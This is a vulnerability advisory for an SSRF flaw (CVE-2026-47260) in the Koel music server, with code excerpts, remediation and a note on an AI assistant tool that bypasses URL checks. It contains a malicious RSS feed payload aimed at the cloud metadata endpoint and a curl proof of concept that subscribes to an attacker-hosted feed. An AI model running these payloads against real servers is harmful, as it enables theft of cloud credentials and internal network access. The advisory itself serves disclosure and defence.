CVE-2026-47260: Koel Vulnerable to SSRF via Podcast Episode Enclosure URLs
Summary Koel validates the podcast feed URL via the SafeUrl rule (DNS resolution + public IP check), but the individual episode values extracted from the RSS XML are stored directly into the database without any SSRF validation.
Published May 29, 2026 · Updated Jun 12, 2026
Affected packages
phanan/koel
- Ecosystem
- Composer (PHP)
- Affected
- <= 9.3.4
- Fixed in
- 9.3.5
- Check
composer show phanan/koel
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Koel validates the podcast feed URL via the SafeUrl rule (DNS resolution + public IP check), but the individual episode <enclosure url="..."> values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via Http::sink()->get() and streams it back to the user, enabling full-read SSRF against internal services.
---
Vulnerability Details
Episode URL Stored Without Validation
File: app/Services/Podcast/PodcastService.php, line 146
'path' => $episodeValue->enclosure->url, // Unvalidated URL from RSS XMLThe SafeUrl rule is applied to the podcast feed URL at subscription time (SubscribeToPodcastRequest), but episode enclosure URLs parsed from the feed XML are stored as-is.
SSRF Trigger: Full Content Download
File: app/Values/Podcast/EpisodePlayable.php, line 42
Http::sink($file)->get($episode->path)->throw();When an episode is played, PodcastStreamerAdapter::stream() first attempts getStreamableUrl() (OPTIONS/HEAD requests to the episode URL). If no CORS header is present (which internal services won't have), it falls through to EpisodePlayable::createForEpisode(), which downloads the full response body and streams it back to the user.
SafeUrl Applied Only to Feed URL
File: app/Http/Requests/API/Podcast/SubscribeToPodcastRequest.php
public function rules(): array
{
return ['url' => ['required', 'url:http,https', new SafeUrl]];
}The SafeUrl rule (app/Rules/SafeUrl.php) validates scheme, DNS resolution to public IP, and effective URL after redirects. But this only protects the feed URL — not the content within the feed.
---
Attack Flow
- Attacker registers an account (Community edition, no Plus required)
- Attacker hosts a malicious RSS feed on a public server: ``
xml <rss version="2.0"> <channel> <title>Legit Podcast</title> <item> <title>Episode 1</title> <enclosure url="http://169.254.169.254/latest/meta-data/iam/security-credentials/" type="audio/mpeg" length="1000"/> <guid>ssrf-1</guid> </item> </channel> </rss>`` POST /api/podcastswithurl=https://evil.com/feed.xml— passesSafeUrl(public URL)- Koel parses feed, stores episode with
path = http://169.254.169.254/... - Attacker plays episode:
GET /play/{episode_id} - Server executes
Http::sink($file)->get("http://169.254.169.254/...") - AWS metadata response downloaded to disk, streamed back to attacker
---
Proof of Concept
#!/bin/bash
# PoC: Koel SSRF via Podcast Episode Enclosure URL
# Step 1: Host malicious RSS feed (feed.xml) on attacker server
# Step 2: Subscribe to the podcast
KOEL_URL="https://TARGET"
API_TOKEN="<api_token>"
# Subscribe to malicious podcast
curl -X POST "$KOEL_URL/api/podcasts" \
-H "Authorization: Bearer $API_TOKEN" \
-H "Content-Type: application/json" \
-d '{"url": "https://attacker.com/feed.xml"}'
# List episodes to get the episode ID
EPISODE_ID=$(curl -s "$KOEL_URL/api/podcasts" \
-H "Authorization: Bearer $API_TOKEN" | jq -r '.[0].episodes[0].id')
# Play the episode — triggers SSRF, returns internal service response
curl "$KOEL_URL/play/$EPISODE_ID?api_token=$API_TOKEN" -o response.bin
cat response.bin
# Expected: AWS metadata / internal service response---
Impact
- Cloud credential theft: Read AWS/GCP/Azure metadata endpoints (IAM credentials, tokens)
- Internal network reconnaissance: Scan ports and enumerate internal HTTP services
- Data exfiltration: Read responses from internal APIs, admin panels, databases with HTTP interfaces
- Full response body: Unlike blind SSRF, the entire response is returned to the attacker
---
Secondary Finding: SSRF Bypass via AI Radio Station Tool
File: app/Ai/Tools/AddRadioStation.php, lines 35-38
The AI assistant's AddRadioStation tool creates radio stations by calling RadioService::createRadioStation() directly, bypassing the SafeUrl and HasAudioContentType validation rules that protect the REST API endpoint.
Impact: Same SSRF but requires Plus license. CVSS 7.7 HIGH.
---
Novelty Check
- No existing CVEs found for Koel (searched NVD, GitHub Advisories, web)
- No SECURITY.md in the repository
- This is a novel vulnerability
---
Remediation
Fix 1: Validate episode enclosure URLs in synchronizeEpisodes():
foreach ($episodeCollection as $episodeValue) {
$enclosureUrl = $episodeValue->enclosure->url;
$host = parse_url($enclosureUrl, PHP_URL_HOST);
if (!$host || !Network::isPublicHost($host)) {
continue; // Skip episodes with non-public URLs
}
// ... rest of episode creation
}Fix 2: Defense-in-depth validation at playback time in EpisodePlayable::createForEpisode().
Fix 3: Add SafeUrl validation in AddRadioStation AI tool.
Credited to EndlssNightmare.
References
- https://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc
- https://github.com/koel/koel/commit/8708f077efd7d8a332b32e954d65bc837f3a413a
- https://github.com/koel/koel/commit/be1e867982dcadefd4a75d768ce950b1d5234cdf
- https://nvd.nist.gov/vuln/detail/CVE-2026-47260
- https://github.com/advisories/GHSA-7j2f-6h2r-6cqc
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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